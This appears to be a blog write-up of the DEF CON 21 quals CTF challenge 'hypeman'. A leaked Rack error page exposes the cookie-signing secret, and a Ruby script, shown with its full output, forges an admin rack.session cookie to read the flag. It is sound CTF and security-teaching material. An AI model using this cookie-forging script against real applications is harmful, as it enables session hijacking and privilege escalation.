DC21 quals # 3dub 03 – hypeman

URL: http://hypeman.shallweplayaga.me/
Type: Rack cookie tampering
Solution: watch out for this Etdeksogav
 


03.hypeman


Let’s create a new account:

POST / HTTP/1.1
Host: hypeman.shallweplayaga.me
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

username=phoenix1204&password=phoenix1204
--------------------------------------------------------------------
HTTP/1.1 303 See Other
Content-Type: text/html;charset=utf-8
Location: http://hypeman.shallweplayaga.me/secrets
Set-Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFOTRhMGY1MmI3ZDgxODkxZmY0NGJm%0AYjBkNmJmYjRkOTMzNGI0MWVhNTVlMjEzYmNmNzc5OWM4Mjk2ZTdjOTM5MEki%0ADXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYmUzNTUz%0AYjEwNWNlMjk2MTlhODA0MDBkNDA2MWNhYTdiZGNjYTMwY0kiGUhUVFBfQUND%0ARVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5%0AMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItMTM2%0AMWExNzM5ZDNmOGRkZDJjNWE4MGM4MjM2MTMzNzVjZDIwYjc4YkkiCWNzcmYG%0AOwBGIkViOTBmNzc1NmQ5MjlmNzUyZDBjNmE4OGFjMDFiMzg4MjJhZTA3OGY1%0AN2Y0YWFiNzc5ZDZlMTY4NTgwYjZhYWY2SSIOdXNlcl9uYW1lBjsARkkiEHBo%0Ab2VuaXgxMjA0BjsAVA%3D%3D%0A--a17e71150525bb7078d8fc3a29b49b65ce6b9148; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 0
Connection: keep-alive

A rack cookie rack.session is set, which contains a base64 string and a « data integrity » signature separated by --. If signature is used, then the rack cookie can only be tampered if we know the secret used to sign the cookies…

Once logged in, we see the list of existing secret messages and we can also create a new one:

03.hypeman_Secrets

Let’s try to see the first secret message (http://hypeman.shallweplayaga.me/secrets/0) – named key and owned by admin – as it should be the challenge key. Unfortunatly we’ve got the following authorization error message from Rack (Ruby Webserver Interface):
Rack Runtime Error
From this error report we can learn :

  • Part of the source code where the error occurs (clicking on the line number in backtrace will display above and below code lines):
    1.   end
    2.  
    3.   redirect '/secrets'
    4. end
    5.  
    6. get '/secrets/:id' do
    7.   s = SECRETS[params[:id].to_i]
    8.   raise "unauthorized" if session[:user_name] != s.username
    9.  
    10.   haml :secret, locals: {secret: s}
    11. end
    12.  
    13. helpers do
    14.   def current_user
    15.     return nil unless session[:user_name]
  •  

  • our decoded rack.session cookie:
    rack.session {"session_id"=>"94a0f52b7d81891ff44bfb0d6bfb4d9334b41ea55e213bcf7799c8296e7c9390",
    "tracking"=>
      {"HTTP_USER_AGENT"=>"be3553b105ce29619a80400d4061caa7bdcca30c",
       "HTTP_ACCEPT_ENCODING"=>"a0bfc876d68fe7aea700da5ea8925abac6f2f794",
       "HTTP_ACCEPT_LANGUAGE"=>"1361a1739d3f8ddd2c5a80c823613375cd20b78b"},
    "csrf"=>"b90f7756d929f752d0c6a88ac01b38822ae078f57f4aab779d6e168580b6aaf6",
    "user_name"=>"phoenix1204"}
  • Rack session options which includes the secret used to sign the cookies :
    rack.session.options {:path=>"/", :domain=>nil, :expire_after=>nil, :secure=>false, :httponly=>true, :defer=>false, :renew=>false, :sidbits=>128, :secure_random=>SecureRandom, :secret=>"wroashsoxDiculReejLykUssyifabEdGhovHabno", :coder=>#<Rack::Session::Cookie::Base64::Marshal:0x00000002130338>}

https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb describes how to encode/decode a rack cookie.
Encoding process performs the following operations:

  1. the object is serialised using the ruby function Marshal.dump;
  2. the result is encoded using base64;
  3. the result is then URL-encoded to prevent any issues with HTTP;
  4. optionally sign the cookie.

In order to acces to admin secret message, we will have to decode our rack cookie, substitute our user_name with admin, re-encode the cookie and then compute the new signature:

require "uri"
require "base64"
require "openssl"
require "pp"
 
secret = "wroashsoxDiculReejLykUssyifabEdGhovHabno"
cookie, signature = ARGV[0].split("--")
decoded = Base64.decode64(URI.decode(cookie))
object = Marshal.load(decoded)
object["user_name"] = "admin"
pp object
new_cookie = Base64.encode64(Marshal.dump(object))
new_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, new_cookie)
puts URI.encode(new_cookie).gsub("=", "%3D")+"--"+new_signature

 

$ ruby tamper_cookie.rb "BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFOTRhMGY1MmI3ZDgxODkxZmY0NGJm%0AYjBkNmJmYjRkOTMzNGI0MWVhNTVlMjEzYmNmNzc5OWM4Mjk2ZTdjOTM5MEki%0ADXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYmUzNTUz%0AYjEwNWNlMjk2MTlhODA0MDBkNDA2MWNhYTdiZGNjYTMwY0kiGUhUVFBfQUND%0ARVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5%0AMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItMTM2%0AMWExNzM5ZDNmOGRkZDJjNWE4MGM4MjM2MTMzNzVjZDIwYjc4YkkiCWNzcmYG%0AOwBGIkViOTBmNzc1NmQ5MjlmNzUyZDBjNmE4OGFjMDFiMzg4MjJhZTA3OGY1%0AN2Y0YWFiNzc5ZDZlMTY4NTgwYjZhYWY2SSIOdXNlcl9uYW1lBjsARkkiEHBo%0Ab2VuaXgxMjA0BjsAVA%3D%3D%0A--a17e71150525bb7078d8fc3a29b49b65ce6b9148"
{"user_name"=>"admin",
 "tracking"=>
  {"HTTP_ACCEPT_LANGUAGE"=>"1361a1739d3f8ddd2c5a80c823613375cd20b78b",
   "HTTP_USER_AGENT"=>"be3553b105ce29619a80400d4061caa7bdcca30c",
   "HTTP_ACCEPT_ENCODING"=>"a0bfc876d68fe7aea700da5ea8925abac6f2f794"},
 "session_id"=>
  "94a0f52b7d81891ff44bfb0d6bfb4d9334b41ea55e213bcf7799c8296e7c9390",
 "csrf"=>"b90f7756d929f752d0c6a88ac01b38822ae078f57f4aab779d6e168580b6aaf6"}
BAh7CSIOdXNlcl9uYW1lIgphZG1pbiINdHJhY2tpbmd7CCIZSFRUUF9BQ0NF%0AUFRfTEFOR1VBR0UiLTEzNjFhMTczOWQzZjhkZGQyYzVhODBjODIzNjEzMzc1%0AY2QyMGI3OGIiFEhUVFBfVVNFUl9BR0VOVCItYmUzNTUzYjEwNWNlMjk2MTlh%0AODA0MDBkNDA2MWNhYTdiZGNjYTMwYyIZSFRUUF9BQ0NFUFRfRU5DT0RJTkci%0ALWEwYmZjODc2ZDY4ZmU3YWVhNzAwZGE1ZWE4OTI1YWJhYzZmMmY3OTQiD3Nl%0Ac3Npb25faWQiRTk0YTBmNTJiN2Q4MTg5MWZmNDRiZmIwZDZiZmI0ZDkzMzRi%0ANDFlYTU1ZTIxM2JjZjc3OTljODI5NmU3YzkzOTAiCWNzcmYiRWI5MGY3NzU2%0AZDkyOWY3NTJkMGM2YTg4YWMwMWIzODgyMmFlMDc4ZjU3ZjRhYWI3NzlkNmUx%0ANjg1ODBiNmFhZjY%3D%0A--34a37c223d446e1fafed56397d9f2eced3b71a89

 
OK let’s try to access http://hypeman.shallweplayaga.me/secrets/0 with this new rack cookie :

GET /secrets/0 HTTP/1.1
Host: hypeman.shallweplayaga.me
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: rack.session=BAh7CSIOdXNlcl9uYW1lIgphZG1pbiINdHJhY2tpbmd7CCIZSFRUUF9BQ0NF%0AUFRfTEFOR1VBR0UiLTEzNjFhMTczOWQzZjhkZGQyYzVhODBjODIzNjEzMzc1%0AY2QyMGI3OGIiFEhUVFBfVVNFUl9BR0VOVCItYmUzNTUzYjEwNWNlMjk2MTlh%0AODA0MDBkNDA2MWNhYTdiZGNjYTMwYyIZSFRUUF9BQ0NFUFRfRU5DT0RJTkci%0ALWEwYmZjODc2ZDY4ZmU3YWVhNzAwZGE1ZWE4OTI1YWJhYzZmMmY3OTQiD3Nl%0Ac3Npb25faWQiRTk0YTBmNTJiN2Q4MTg5MWZmNDRiZmIwZDZiZmI0ZDkzMzRi%0ANDFlYTU1ZTIxM2JjZjc3OTljODI5NmU3YzkzOTAiCWNzcmYiRWI5MGY3NzU2%0AZDkyOWY3NTJkMGM2YTg4YWMwMWIzODgyMmFlMDc4ZjU3ZjRhYWI3NzlkNmUx%0ANjg1ODBiNmFhZjY%3D%0A--34a37c223d446e1fafed56397d9f2eced3b71a89
Connection: keep-alive

    key
    watch out for this Etdeksogav

Further reading

https://www.pentesterlab.com/rack_cookies_and_commands_injection/rack_cookies_and_commands_injection.pdf
 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *